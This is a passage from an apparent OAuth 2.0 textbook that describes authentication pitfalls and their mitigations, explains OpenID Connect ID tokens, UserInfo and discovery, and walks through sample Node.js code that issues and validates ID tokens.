the access tokens, and their contents can be used alongside any additional information 
from a protected resource. 

13.4.3	 Injection of access tokens

An additional (and dangerous) threat occurs when clients accept access tokens from 
sources other than the return of an intentional request to token endpoint. This is 
especially troublesome for a client that uses the implicit flow, in which the token is 
passed directly to the client as a parameter in the URL hash. An attacker can take an 
access token, either a valid one from a different application or a spoofed one, and 
pass it to the waiting RP as if it were requested by that RP. This is problematic enough 
in plain OAuth 2.0, in which the client can be tricked into accessing resources other 
than those of the real resource owner, but it is utterly disastrous in an authentication 
protocol because it would allow an attacker to copy tokens and use them to log in to 
another application.

This issue can also occur if different parts of an application pass the access token 
between components in order to “share” access among them. This is problematic 
because it opens up a place for access tokens to potentially be injected into an applica-
tion by an outside party and potentially leak outside of the application. If the client 
application doesn’t validate the access token through some mechanism, it has no way 
of differentiating between a valid token and an attacker’s token.

This can be mitigated by using the authorization code flow instead of the implicit 
flow, which would mean the client would accept tokens only directly from the authori-
zation server’s token endpoint. The state parameter allows a client to provide a value 
that is unguessable by an attacker. If this parameter is absent or it doesn’t align with an 
expected value, the client can easily reject the incoming token as invalid.

13.4.4	Lack of audience restriction

Most OAuth 2.0 APIs don’t provide any mechanism of audience restriction for their 
returned information. That is to say, there’s no way for a client to tell whether an access 
token was intended for it or another client. It’s possible to take a naive client, hand 
it a (valid) token from another client, and have the naive client call a user API. Since 
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the protected resource doesn’t know the identity of the client making the call, only the 
validity of the token, this act will return valid user information. However, this informa-
tion was intended for consumption by another client. The user hasn’t even authorized 
the naive client, and yet it treats the user as logged in.

This problem can be mitigated by communicating the authentication information 
to a client along with an identifier that the client can recognize and validate as its own. 
This will allow the client to differentiate between an authentication for itself and an 
authentication for another application. This attack can be further mitigated by pass-
ing the set of authentication information directly to the client during the OAuth 2.0 
process instead of through a secondary mechanism such as an OAuth 2.0–protected 
API, preventing a client from having an unknown and untrusted set of information 
injected later in the process.

13.4.5	 Injection of invalid user information

If an attacker is able to intercept or co-opt one of the calls from the client, it could alter 
the content of the returned user information without the client being able to know 
anything was amiss. This would allow an attacker to impersonate a user at a naive client 
by swapping out a user identifier in the right call sequence, for example, in the return 
value from a user information API or inside a token directed at the client.

This attack can be mitigated by cryptographically protecting and verifying the 
authentication information as it’s passed to the client. All communication pathways 
between the client and the authorization server need to be protected by TLS, and 
the client needs to verify the server’s certificate when it connects. In addition, the 
user information or the token (or both) can be signed by the server and verified 
by the client. This additional signature will prevent an adversary from altering or 
injecting user information even if they’re able to hijack the connection between the 
parties.

13.4.6	Different protocols for every potential identity provider

One of the biggest problems with OAuth 2.0–based identity APIs is that different iden-
tity providers will inevitably implement the details of the identity API differently, even 
if they’re using fully standards-compliant OAuth as the basis. For example, a user’s 
unique identifier might be found in a user_id field in one provider but in the sub 
field in another provider. Even though these fields are semantically equivalent, they 
would require two separate code paths to process. Although the authorization may 
happen the same way at each provider, the conveyance of the authentication informa-
tion could be different. 

This problem occurs because the mechanisms for conveying authentication infor-
mation discussed here are explicitly left out of scope for OAuth 2.0. OAuth 2.0 defines 
no specific token format, defines no common set of scopes for the access token, and 
doesn’t address how a protected resource validates an access token. Consequently, this 
problem can be mitigated by providers using a standard authentication protocol built 
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on top of the OAuth standard so that, no matter where the identity information is com-
ing from, it’s transmitted in the same way. Is there such a standard?

13.5	 OpenID Connect: a standard for authentication and identity 
on top of OAuth 2.0
OpenID Connect3 is an open standard published4 by the OpenID Foundation in Feb-
ruary 2014 that defines an interoperable way to use OAuth 2.0 to perform user authen-
tication. In essence, it’s a widely published “recipe for chocolate fudge” that has been 
built and tested by a wide variety of implementers. As an open standard, OpenID Con-
nect can be implemented without license or intellectual property concerns. Since the 
protocol is designed to be interoperable, an OpenID client application can speak one 
protocol to many identity providers instead of implementing a slightly different proto-
col to each identity provider. 

OpenID Connect is built directly on OAuth 2.0 and remains compatible with it. In 
many instances, it’s deployed along with a plain OAuth infrastructure that protects 
other APIs. In addition to OAuth 2.0, OpenID Connect uses the JSON Object Sign-
ing and Encryption (JOSE) suite of specifications (which we covered in chapter 11) 
for carrying signed and encrypted information around in different places. An OAuth 
2.0 deployment with JOSE capabilities is already far along on the way to being a fully 
compliant OpenID Connect system, as the delta between the two is relatively small. But 
that delta makes a big difference, and OpenID Connect manages to avoid many of the 
pitfalls discussed previously by adding several key components to the OAuth 2.0 base.

13.5.1	 ID tokens

The OpenID Connect ID token is a signed JSON Web Token (JWT) given to the client 
application alongside the regular OAuth access token. Unlike the access token, the ID 
token is directed to the RP and is intended to be parsed by it.

As with the signed access tokens that we created in chapter 11, the ID token con-
tains a set of claims about the authentication session, including an identifier for the 
user (sub), the identifier for the identity provider that issued the token (iss), and 
the identifier of the client for which this token was created (aud). Additionally, the 
ID token contains information about the token’s own validity time window (with the 
exp and iat claims) as well as any additional information about the authentication 
context to be conveyed to the client. For example, the token can say how long ago the 
user was presented with a primary authentication mechanism (auth_time) or what 
kind of primary authentication they used at the IdP (acr). The ID token can also have 
other claims inside it, both standard JWT claims such as those listed in chapter 11 as 
well as extended claims for the OpenID Connect protocol. The required claims are in 
boldface in table 13.1.

3 � http://openid.net/connect/
4 � http://openid.net/specs/openid-connect-core-1_0.html
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Table 13.1  Claims inside an ID token

Claim Name Claim Description

iss The issuer of the token; URL of the IdP.

sub The subject of the token, a stable and unique identifier for the user at the IdP. This 
is usually a machine-readable string and shouldn’t be used as a username.

aud The audience of the token; must contain the client ID of the RP.

exp The expiration timestamp of the token. All ID tokens expire, and usually pretty quickly. 

iat The timestamp of when the token was issued.

auth_time The timestamp of when the user authenticated to the IdP. 

nonce A string sent by the RP during the authentication request, used to mitigate replay 
attacks similar to the state parameter. It must be included if the RP sends it.

acr The authentication context reference, which indicates an overall categorization of the 
authentication that the user performed at the IdP.

amr The authentication method reference, which indicates how the user authenticated to 
the IdP.

azp The authorized party for this token; must contain the client ID of the RP if it’s included.

at_hash Cryptographic hash of the access token.

c_hash Cryptographic hash of the authorization code.

The ID token is issued in addition to an access token as the id_token member of the 
token endpoint response, not in lieu of it. This is in recognition of the fact that the two 
tokens have different intended audiences and uses. The two-token approach allows the 
access token to remain opaque to the client as in regular OAuth while allowing the ID 
token be parsed. Furthermore, the two tokens can also have different lifecycles, with 
the ID token often expiring more quickly. Although the ID token represents a single 
authentication event, and it’s never passed to an external service, the access token can 
be used to fetch protected resources long after the user has left. Although it’s true that 
you could still use the access token to ask who authorized the client in the first place, 
doing so wouldn’t tell you anything about the user’s presence, as you saw previously.

{

	 "access_token": "987tghjkiu6trfghjuytrghj",

	 "token_type": "Bearer",

	 "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jY 

Wxob3N0OjkwMDEvIiwic3ViIjoiOVhFMy1KSTM0LTAwMTMyQSIsImF1ZCI6Im9hdXRoLWNsaWVud 

C0xIiwiZXhwIjoxNDQwOTg3NTYxLCJpYXQiOjE0NDA5ODY1NjF9.LC5XJDhxhA5BLcT3VdhyxmMf6 

EmlFM_TpgL4qycbHy7JYsO6j1pGUBmAiXTO4whK1qlUdjR5kUm ICcYa5foJUfdT9xFGDtQhRcG3- 

dOg2oxhX2r7nhCjzUnOIebr5POySGQ8ljT0cLm45edv_rO5fSVPdwYGSa7QGdhB0bJ8KJ__Rs 

yKB707n09y1d92ALwAfaQVoyCjYB0uiZM9Jb8yHsvyMEudvSD5urRuHnGny8YlGDIofP6SXh5- 

1TlR7ST7R7h9f4Pa0lD9SXEzGUG816HjIFOcD4aAJXxn_QMlRGSfL8NlIz29PrZ2xqg8w2w84hBQ 

cgchAmj1TvaT8ogg6w"

}
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Finally, the ID token itself is signed by the identity provider’s key, adding another layer 
of protection to the claims inside it in addition to the TLS transport protection that 
was used to get the token in the first place. Since the ID token is signed by the authori-
zation server, it also provides a location to add detached signatures over the authoriza-
tion code (c_hash) and access token (at_hash). The client can validate these hashes 
while still keeping the authorization code and access token content opaque to the 
client, preventing a whole class of injection attacks.

By applying a few simple checks to this ID token, the same checks used when pro-
cessing a signed JWT as we did in chapter 11, a client can protect itself from a large 
number of common attacks:

1	 Parse the ID token to ensure it’s a valid JWT and collect the claims.
■■ Split the string on the “.” character.
■■ Base64URL decode each section.
■■ Parse the first two sections (header and payload) as JSON.

2	 Validate the signature of the token against the public key of the IdP, published 
at a discoverable location. 

3	 See that the ID token is issued by a trusted IdP.
4	 Ensure the client’s own client identifier is included in the audience list of the 

ID token.
5	 Confirm that the expiration, issued-at, and not-before timestamp values are 

reasonable given the current time.
6	 Make sure that the nonce, if present, matches the one sent out.
7	 Validate the hashes for the authorization code or access token, if applicable. 

Each of these steps is deterministic and mechanical, requiring minimal coding 
effort. Some more advanced modes of OpenID Connect allow for the ID token to be 
encrypted as well, which changes the parsing and verification process slightly but with 
the same results.

13.5.2	The UserInfo endpoint

Since the ID token contains all the necessary information for processing the authen-
tication event, OpenID Connect clients don’t need anything more than this to pro-
cess a successful login. However, the access token can be used at a standard protected 
resource that contains profile information about the current user, which is called 
the UserInfo endpoint. The claims at this endpoint aren’t part of the authentica-
tion process previously discussed but instead provide bundled identity attributes 
that make the authentication protocol more valuable to application developers. 
After all, it’s preferable to say, “Good Morning, Alice” instead of, “Good Morning, 
9XE3-JI34-00132A.” 

The request to the UserInfo endpoint is a simple HTTP GET or POST, with the 
access token (not the ID token) sent as the authorization. There are no input param-
eters in a normal request, though like with much of OpenID Connect there are some 
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advanced methods that can be used here. The UserInfo endpoint follows a protected 
resource design of having the same resource for all users in the system, as opposed to 
a different resource URI for each user. The IdP figures out which user is being asked 
about by dereferencing the access token.

GET /userinfo HTTP/1.1

Host: localhost:9002

Accept: application/json

The response from the UserInfo endpoint is a JSON object that contains claims about 
the user. These claims tend to be stable over time, and it’s common to cache the results 
of the UserInfo endpoint call instead of fetching them on every authentication request. 
Using advanced capabilities of OpenID Connect, it’s also possible to return the User
Info response as a signed or encrypted JWT.

HTTP/1.1 200 OK

Content-type: application/json

{

	 "sub": "9XE3-JI34-00132A",

	 "preferred_username": "alice",

	 "name": "Alice",

	 "email": "alice.wonderland@example.com",

	 "email_verified": true

}

OpenID Connect uses the special openid scope value to gate access to the UserInfo 
endpoint. OpenID Connect defines a set of standardized OAuth scopes that map 
to subsets of these user attributes (profile, email, phone, and address, shown in 
table 13.2), allowing plain OAuth transactions to request everything necessary for an 
authentication. The OpenID Connect specification goes into greater detail for each of 
these scopes and what attributes they map to.

OpenID Connect defines a special openid scope that controls overall access to 
the UserInfo endpoint by the access token. The OpenID Connect scopes can be used 
alongside other non–OpenID Connect OAuth 2.0 scopes without conflict, and the 

Table 13.2 Mapping OAuth scopes to OpenID Connect UserInfo claims

Scope Claims

openid sub

profile name, family_name, given_name, middle_name, nickname, preferred_
username, profile, picture, website, gender, birthdate, zoneinfo, 
locale, updated_at

email email, email_verified

address address, a JSON object which itself contains formatted, street_address, 
locality, region, postal_code, country

phone phone_number, phone_number_verified
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access token issued can potentially be targeted at several different protected resources 
in addition to the UserInfo endpoint. This approach allows an OpenID Connect iden-
tity system to smoothly coexist with an OAuth 2.0 authorization system.

13.5.3	Dynamic server discovery and client registration

OAuth 2.0 was written to allow a variety of different deployments, but by design doesn’t 
specify how these deployments come to be set up or how the components know about 
each other. This is acceptable in the regular OAuth world in which one authorization 
server protects a specific API, and the two are usually closely coupled. OpenID Con-
nect defines a common API that can be deployed across a wide variety of clients and 
providers. It would not be scalable for each client to have to know ahead of time about 
each provider, nor would it be at all reasonable to require each provider to know about 
every potential client.

To counteract this, OpenID Connect defines a discovery protocol5 that allows cli-
ents to easily fetch information on how to interact with a specific identity provider. 
This discovery process happens in two steps. First, the client needs to discover the 
issuer URL of the IdP. This can be configured directly, such as in a common NASCAR-
style provider chooser in figure 13.4.

Alternatively, the issuer can be discovered based on the WebFinger protocol. 
WebFinger works by taking a common means of user identification, email addresses, 
and provides a set of deterministic transformation rules that takes this friendly user-fac-
ing input and outputs a discovery URI (figure 13.5). In essence, you take the domain 
portion of the email address identifier, append https:// to the front, and append 
/.well-know/webfinger to the end of it to create a URI. Optionally, you can also pass 
in information about what the user originally typed in as well as the kind of informa-
tion you’re looking for. In OpenID Connect, this discovery URI can be fetched over 
HTTPS to determine the issuer for a particular user’s address.

5 � http://openid.net/specs/openid-connect-discovery-1_0.html

Select your identity provider:

Figure 13.4  A NASCAR-style identity provider selector
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After the issuer is determined, the client still needs essential information about the 
server, such as the location of the authorization and token endpoints. This is discov-
ered by appending /.well-known/openid-configuration to the issuer URI discov-
ered in the first step and fetching the resulting URL. This returns a JSON document 
containing all of the attributes of the server that the client needs in order to start the 
authentication transaction. The following is an example adapted from a publicly avail-
able test server:

{

"issuer": "https://example.com/",
"request_parameter_supported": true,

"registration_endpoint": "https://example.com/register",

"token_endpoint": "https://example.com/token",
"token_endpoint_auth_methods_supported": 

[ "client_secret_post", "client_secret_basic", "client_secret_jwt",  

"private_key_jwt", "none" ],

"jwks_uri": "https://example.com/jwk",

"id_token_signing_alg_values_supported": 

[ "HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "ES256", "ES384", 

"ES512", "PS256", "PS384", "PS512", "none" ],

"authorization_endpoint": "https://example.com/authorize",
"introspection_endpoint": "https://example.com/introspect",

"service_documentation": "https://example.com/about",

"response_types_supported": 

[ "code", "token" ],

"token_endpoint_auth_signing_alg_values_supported": 

[ "HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "ES256", "ES384", 

"ES512", "PS256", "PS384", "PS512" ],

"revocation_endpoint": "https://example.com/revoke",

"grant_types_supported": 

[ "authorization_code", "implicit", "urn:ietf:params:oauth:grant-

type:jwt-bearer", "client_credentials", "urn:ietf:params:oauth:grant_

type:redelegate" ],

"scopes_supported": 

[ "profile", "email", "address", "phone", "offline_access", "openid" ],

"userinfo_endpoint": "https://example.com/userinfo",

"op_tos_uri": "https://example.com/about",

"op_policy_uri": "https://example.com/about",

}

user@example.com

https://example.com/.well-known/webfi nger
 ?resource=user@example.com
 &rel=http://openid.net/specs/connect/1.0/issuer

Figure 13.5  WebFinger transforms an email address into a URL
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Once the client knows about the server, the server needs to know about the client. 
For this, OpenID Connect defines a client registration protocol6 that allows clients 
to be introduced to new identity providers. The OAuth Dynamic Client Registration 
protocol extension, discussed in chapter 12, was developed in parallel to the OpenID 
Connect version, and the two are compatible with each other on the wire. 

By leveraging discovery, registration, a common identity API, and end-user choice, 
OpenID Connect can function at internet scale. Even when no parties have to know 
about each other ahead of time, two compliant OpenID Connect instances can inter-
act with each other to effect an authorization protocol across security boundaries.

13.5.4	Compatibility with OAuth 2.0

Even with all of this robust authentication capability, OpenID Connect is by design still 
compatible with plain OAuth 2.0. In fact, if a service is already using OAuth 2.0 and the 
JOSE specifications, including JWT, that service is already well on its way to supporting 
OpenID Connect in full.

To facilitate the building of good client applications, the OpenID Connect working 
group has published documents on building a basic OpenID Connect client7 using the 
authorization code flow as well as building an implicit OpenID Connect client.8 Both 
of these documents walk the developer through building a basic OAuth 2.0 client and 
adding the handful of components necessary for OpenID Connect functionality, many 
of which have been described here.

13.5.5	Advanced capabilities

Although the core of the OpenID Connect specification is fairly straightforward, not 
all use cases can be adequately addressed by the base mechanisms. To support many 
advanced use cases, OpenID Connect also defines a number of optional advanced 
capabilities beyond standard OAuth. Covering all of these in depth could easily fill 
another book,9 but we can at least touch on a few key components in this section. 

An OpenID Connect client can optionally authenticate using a signed JWT in lieu of 
OAuth’s more traditional shared client secret. This JWT can be signed with a client’s 
asymmetric key if it registers its public key with the server, or it can be signed symmetri-
cally with the client secret. This method provides a higher level of security for clients, 
which avoid sending their passwords across the network. 

Similarly, an OpenID Connect client can optionally send its requests to the authoriza-
tion endpoint as a signed JWT instead of a set of form parameters. As long as the key 
used to sign this request object is registered with the server, the server can validate the 
parameters inside the request object and be assured that the browser did not tamper 
with them.

6 � http://openid.net/specs/openid-connect-registration-1_0.html
7 � http://openid.net/specs/openid-connect-basic-1_0.html
8 � http://openid.net/specs/openid-connect-implicit-1_0.html
9 � If you think that’s a good idea, please contact our publisher and let them know!
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An OpenID Connect server can optionally sign or encrypt the output from the server, 
including the UserInfo endpoint, as a JWT. The ID token can likewise be encrypted in 
addition to being signed by the server. These protections can assure the client that the 
output was not tampered with, in addition to the assurances garnered from using TLS 
on the connection.

Other parameters have been added as extensions to the OAuth 2.0 endpoints, 
including hints for display types, prompting behavior, and authentication context references. 
Using the request object construct, an OpenID Connect client can make much more 
fine-tuned requests of the authorization server than its OAuth 2.0 counterparts thanks 
to the inherent expressivity of the request object’s JSON payload. These requests 
can include fine-grained user claims information, such as requesting that only a user 
matching a specific identifier be logged in. 

OpenID Connect provides a way for the server (or another third party) to initiate the 
login process. Although all canonical OAuth 2.0 transactions are initiated by the client 
application, this optional feature gives the client a way to receive signals to start the 
login process with a specific IdP.

OpenID Connect also defines a few different ways to retrieve tokens, including 
hybrid flows whereby some information (such as the ID token) is conveyed on the front 
channel and other information (such as the access token) is conveyed on the back 
channel. These flows should not be thought of as simple combinations of existing 
OAuth 2.0 flows, but instead as new functionality for different applications.

Finally, OpenID Connect provides a specification for managing sessions between the 
RP and IdP, or even between multiple RPs. Since OAuth 2.0 has no notion of the 
user being present apart from the moment of authorization delegation, extensions 
are required for handling the lifecycle of a federated authentication. If the user logs 
out from one RP, they may want to log out from others as well, and the RP needs to be 
able to signal the IdP that this should happen. Other RPs need to be able to listen for 
a signal from the IdP that a logout has taken place and be able to react accordingly.

OpenID Connect provides all of these extensions without breaking compatibility 
with OAuth 2.0.

13.6	 Building a simple OpenID Connect system
Open up ch-13-ex-1 to find a fully functional OAuth 2.0 system. We’re now going to 
build a simple OpenID Connect system on top of our existing OAuth 2.0 infrastruc-
ture. Although an entire book could be dedicated to implementing all of the features 
of OpenID Connect, we are going to cover the basics here in this exercise. We’ll be 
adding support for issuing the ID token to the authorization code flow on our autho-
rization server. We’ll also be building a UserInfo endpoint into our protected resource 
with a shared database, because this is a common deployment pattern. Notice that 
even though our authorization server and UserInfo endpoint are running in separate 
processes, from the RP’s perspective they’re functioning as a single IdP. We’ll also be 
making our generic OAuth 2.0 client into an OpenID Connect RP by parsing and vali-
dating the ID token and fetching the UserInfo for display.
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In all of these exercises, we’ve left out one key component: authenticating the user. 
Instead, we’re once again using a simple drop-down selection on the authorization 
page to determine which user is “logged in” to the IdP, as we did in chapter 3. In a 
production system, the primary authentication mechanism used at the IdP is of utmost 
importance, as the federated identity issued by the server hinges on this. Many good 
primary authentication libraries exist, and incorporating them to our framework is 
left as an exercise to the reader. But still, in case it needs to be said: please don’t use 
a simple drop-down box as the authentication mechanism in your production system.

13.6.1	Generating the ID token

First, we need to generate an ID token and hand it out alongside our access token. We’ll 
use the same libraries and techniques that we used in chapter 11, since an ID token is 
really just a special JWT. If you want details on JWTs, head back to chapter 11 for more.

Open up authorizationServer.js in an editor. Up near the top of the file, we’ve 
supplied user information for two users in the system, Alice and Bob. We’ll need this 
for creating both the ID token and the UserInfo response. For simplicity, we’ve opted 
for a simple in-memory variable indexed by the username selectable from the drop-
down menu on the authorization page. In a production system, this would likely be 
tied into a database, directory service, or other persistent store.

var userInfo = {

	 "alice": {

		  "sub": "9XE3-JI34-00132A",

		  "preferred_username": "alice",

		  "name": "Alice",

		  "email": "alice.wonderland@example.com",

		  "email_verified": true

	 },

	

	 "bob": {

		  "sub": "1ZT5-OE63-57383B",

		  "preferred_username": "bob",

		  "name": "Bob",

		  "email": "bob.loblob@example.net",

		  "email_verified": false

	 }

		

};

Next, we’ll create the ID token after we’ve already created our access token. First we 
need to determine whether or not we’re supposed to be creating an ID token at all. 
We want to generate an ID token only if the user authorized the openid scope, and if 
we’ve got a user to speak of at all.

if (__.contains(code.scope, 'openid') && code.user) {

Next we’ll create a header for our ID token and add all of the fields required for 
the payload. First we set our authorization server as the issuer and add the subject 
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identifier of the user. Remember, these two fields together give a globally unique iden-
tifier for the user. We’ll then set the client ID of the requesting client to the audience 
of the token. Finally, we’ll timestamp the token and set an expiration of five minutes in 
the future. This is generally more than enough time for an ID token to be processed 
and tied to a user session at an RP. Remember that the RP doesn’t have to use the ID 
token at any external resource, so the timeout can and should be relatively short.

var header = { 'typ': 'JWT', 'alg': rsaKey.alg, 'kid': rsaKey.kid };

var ipayload = {

	 iss: 'http://localhost:9001/',

	 sub: code.user.sub,

	 aud: client.client_id,

	 iat: Math.floor(Date.now() / 1000),

	 exp: Math.floor(Date.now() / 1000) + (5 * 60)	

};

We’ll also add in the nonce value, but only if the client sent it on the original request 
to the authorization endpoint. This value is analogous to the state parameter in many 
ways, but closes a slightly different cross-site attack vector.

if (code.request.nonce) {

	 ipayload.nonce = code.request.nonce;

}

Then we’ll sign it with the server’s key and serialize it as a JWT.

var privateKey = jose.KEYUTIL.getKey(rsaKey);

var id_token = jose.jws.JWS.sign(header.alg, JSON.stringify(header),  

JSON.stringify(ipayload), privateKey);

Finally, we’ll issue it alongside the access token by modifying the existing token 
response.

token_response.id_token = id_token;

And that’s all we have to do. Although we could store our ID token along with our 
other tokens if we wanted to, it’s never passed back to the authorization server or any 
protected resource; therefore, there’s no real need to do so. Instead of acting like an 
access token, it acts like an assertion from the authorization server to the client. Once 
we send it to the client, we’re pretty much done with it.

13.6.2	Creating the UserInfo endpoint

Next we’ll be adding in the UserInfo endpoint to our protected resource. Open up 
protectedResource.js for this part of the exercise. Notice that while the IdP is a 
single logical component in the OpenID protocol, it’s acceptable and valid to imple-
ment it as separate servers are we’re doing here. We’ve imported the getAccessToken 
and requireAccessToken helper functions from previous exercises. These will use 
the local database to look up not only the token information but also the user infor-
mation associated with the token. Our IdP will be serving user information from 
/userinfo in response to HTTP GET or POST requests. Due to limitations in the 
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Express.js framework that we’re using in our code, we have to define this slightly dif-
ferently from previous exercises by using an externally named function variable for our 
handler code, but the effect is roughly the same as before.

var userInfoEndpoint = function(req, res) {

	

};

app.get('/userinfo', getAccessToken, requireAccessToken, userInfoEndpoint);

app.post('/userinfo', getAccessToken, requireAccessToken, userInfoEndpoint);

Next we’ll check to make sure that the incoming token contains at least the openid 
scope. If it doesn’t, we’ll return an error.

if (!__.contains(req.access_token.scope, 'openid')) {

	 res.status(403).end();

	 return;

}

Once again, we need to get the right set of user information from our data store. We’ll 
base this on the user that authorized the access token, similarly to how we dispatched 
information in one of the exercises in chapter 4. If we can’t find a user, we’ll return 
an error.

var user = req.access_token.user;

if (!user) {

	 res.status(404).end();

	 return;

}

Next we need to build up the response. We can’t return the entire user info object, 
since the user may have authorized only a subset of the available scopes. Because each 
scope maps to a subset of the user’s information, we’ll go through each of the scopes 
in the access token and add the associated claims to our output object as we go. 

var out = {};

__.each(req.access_token.scope, function (scope) {

	 if (scope == 'openid') {

		  __.each(['sub'], function(claim) {

			   if (user[claim]) {

				    out[claim] = user[claim];

			   }

		  });

	 } else if (scope == 'profile') {

		  __.each(['name', 'family_name', 'given_name', 'middle_name', 

'nickname', 'preferred_username', 'profile', 'picture', 'website', 

'gender', 'birthdate', 'zoneinfo', 'locale', 'updated_at'], 

function(claim) {

			   if (user[claim]) {

				    out[claim] = user[claim];

			   }

		  });

	 } else if (scope == 'email') {

		  __.each(['email', 'email_verified'], function(claim) {

			   if (user[claim]) {
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				    out[claim] = user[claim];

			   }

		  });

	 } else if (scope == 'address') {

		  __.each(['address'], function(claim) {

			   if (user[claim]) {

				    out[claim] = user[claim];

			   }

		  });

	 } else if (scope == 'phone') {

		  __.each(['phone_number', 'phone_number_verified'], function(claim) {

			   if (user[claim]) {

				    out[claim] = user[claim];

			   }

		  });

	 }

});

The end result is an object that contains all of the claims for the correct user that were 
authorized by that user for this client. This process provides an incredible amount of 
flexibility in terms of privacy, security, and user choice. We’ll return this object as JSON.

res.status(200).json(out);

return;

The final function looks like listing 14 in appendix B.
With two small additions, we’ve made our functional OAuth 2.0 server into an 

OpenID Connect IdP as well. We were able to re-use many of the components that 
we’ve explored in previous chapters such as JWT generation (chapter 11), inbound 
access token processing (chapter 4), and scanning for scopes (chapter 4). There are 
many additional features to OpenID Connect that we talked about earlier, including 
request objects, discovery, and registration, but implementation of these is left as an 
exercise to the reader (or the reader of another book).

13.6.3	Parsing the ID token

Now that the server is able to generate ID tokens, the client needs to be able to parse 
them. We’re going to use a similar method to that used in chapter 11 where we parsed 
and validated a JWT at our protected resource. This time, the token is targeted to the 
client, so we’ll be inside client.js in an editor to get started. We’ve statically config-
ured the client and the server with each other’s information, but in OpenID Connect 
all of this can be done dynamically using dynamic client registration and server discov-
ery. As an added exercise, pull in the dynamic client registration code from chapter 12 
and implement server discovery on top of this framework.

First, we need to pull the token value off the token response. Since it’s passed to us 
in the same structure that the access token is in, we’ll pull it off that object in our token 
response parsing function. We’ll also throw out any old user information or ID tokens 
we might have had sitting around from a previous login.

if (body.id_token) {
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	 userInfo = null;

	 id_token = null;

After that, we’ll parse the ID token’s payload into a JSON object and test the content of 
the ID token, starting with its signature. In OpenID Connect, the client will commonly 
fetch the server’s keys from a JSON Web Key (JWK) set URL, but we’ve provided it 
statically in the code alongside the server’s configuration. For an added exercise, con-
figure the server to publish its public key and configure the client to fetch the server’s 
key when needed at runtime. Our server uses the RS256 signature method for its ID 
tokens, and we’re using the jsrsasign library to handle our JOSE functions, as we did 
in chapter 11.

var pubKey = jose.KEYUTIL.getKey(rsaKey);

var tokenParts = body.id_token.split('.');

var payload = JSON.parse(base64url.decode(tokenParts[1]));

if (jose.jws.JWS.verify(body.id_token, pubKey, [rsaKey.alg])) {

Then we need to check a few of the fields to make sure they make sense. Once again, 
we’ve pulled out each check into its own nested if statement, only accepting the token 
if all checks pass. First we’ll make sure the issuer matches that of our authorization 
server, and also that our client ID is in the audience list.

if (payload.iss == 'http://localhost:9001/') {

	 if ((Array.isArray(payload.aud) && __.contains(payload.aud,  

client.client_id)) || 

		  payload.aud == client.client_id) {

Then we’ll make sure that the issued at and expiration timestamps make sense.

var now = Math.floor(Date.now() / 1000);

if (payload.iat <= now) {

	 if (payload.exp >= now) {

A few extra tests use more advanced forms of the protocol, such as comparing a nonce 
value if we had sent one in the original request or calculating the hashes for the access 
token or code. These tests aren’t needed for a simple client using the authorization 
code grant type, and they’re left as exercises for the reader.

If and only if all of these checks pass, we have a valid ID token that we can save in our 
application. In fact, we don’t need to save the entire token anymore, since we’ve vali-
dated it already, so we’re going to save the payload portion so that we can access it later:

id_token = payload;

Throughout our application, we can use a pairing of the id_token.iss and id_token.
sub values from the ID token as a globally unique identifier for the current user. This 
technique is much more collision resistant than a username or email address would  
be because the issuer URL automatically scopes the values in the subject field. Once 
we’ve got the ID token, we send the user to an alternate display page showing that 
they’ve successfully logged in as the current user.

res.render('userinfo', {userInfo: userInfo, id_token: id_token});

return;
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This gives us a display including the issuer and subject, as well as a button to fetch the 
UserInfo for the current user. The final processing function looks like listing 15 in 
appendix B.

13.6.4	Fetching the UserInfo

After we’ve processed the authentication event, chances are we’re going to want to know 
more about the user than a single machine-readable identifier. To access their profile 
information, including things such as their name and email address, we’re going to call 
the UserInfo endpoint at the IdP using the access token that we received during the OAuth 
2.0 process. It’s possible that this access token could be used for additional resources as 
well, but we’re going to focus specifically on its use with the UserInfo endpoint.

Instead of automatically downloading the user information immediately upon 
authentication, we’re going to make our RP call the UserInfo endpoint only when 
needed. In our application, we’ll be saving this to the userInfo object and rendering 
it to a web page. 

We’ve already included the rendering template in the project for you, so we’ll start 
by creating a handler function for /userinfo on the client.

app.get('/userinfo', function(req, res) {

});

This call works like any other OAuth 2.0 protected resource. In this specific case, we’re 
going to make an HTTP GET request with the access token in the authorization header.

var headers = {

	 'Authorization': 'Bearer ' + access_token

};

	

var resource = request('GET', authServer.userInfoEndpoint,

	 {headers: headers}

);

The UserInfo endpoint returns a JSON object that we can then save and process how 
we see fit. If we receive a successful response, we’re going to save the user information 
and hand it to our rendering template. Otherwise, we’ll display an error page.

Figure 13.6  The client page showing a logged-in user
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if (resource.statusCode >= 200 && resource.statusCode < 300) {

	 var body = JSON.parse(resource.getBody());

	

	 userInfo = body;

	

	 res.render('userinfo', {userInfo: userInfo, id_token: id_token});

	 return;

} else {

	 res.render('error', {error: 'Unable to fetch user information'});

	 return;

}

This should give you a page that looks something like what is shown in figure 13.7. And 
that’s all there is to it. Try authorizing different scopes and looking at the difference it 
makes in the data that comes back from the endpoint. If you’ve written an OAuth 2.0 
client in the past (which you have, back in chapter 3), then this should all seem trivial, 
and for good reason: OpenID Connect is designed from the start to be something built 
on top of OAuth 2.0.

For an added exercise, wire the client’s /userinfo page to require a valid OpenID 
Connect login. That is to say, there must be a valid ID token as well as an access token 
that can be used to fetch user information already stored at the client when someone 
goes to that page, and if there is not, the client will automatically start the authentica-
tion protocol process.

13.7	 Summary
Many people erroneously believe that OAuth 2.0 is an authentication protocol, but 
now you know the truth of the matter.

■■ OAuth 2.0 is not an authentication protocol, but it can be used to build an 
authentication protocol.

■■ Many existing authentication protocols that have been built using OAuth 2.0 are 
in use on the web today, most of them tied to specific providers.

Figure 13.7  The client showing a successful login and fetch of user information
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■■ Designers of authentication protocols make many common mistakes on top of 
OAuth 2.0. These mistakes can be avoided with careful design of the authentica-
tion protocol.

■■ With a few key additions, the OAuth 2.0 authorization server and protected 
resource can act as an identity provider, and the OAuth 2.0 client can act as a 
relying party.

■■ OpenID Connect provides a carefully designed open standard authentication 
protocol built on top of OAuth 2.0. 

Now that we’ve seen one major protocol built on top of OAuth 2.0, let’s take a closer 
look at several more that are solving advanced use cases.
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14Protocols and profiles 
using OAuth 2.0

This chapter covers
■  ■ User Managed Access (UMA), a protocol built on top of OAuth 2.0 for 

dynamic consent and policy management

■  ■ Health Relationship Trust (HEART), a profile of OAuth 2.0, OpenID Connect 
(OIDC), and UMA for healthcare-related scenarios

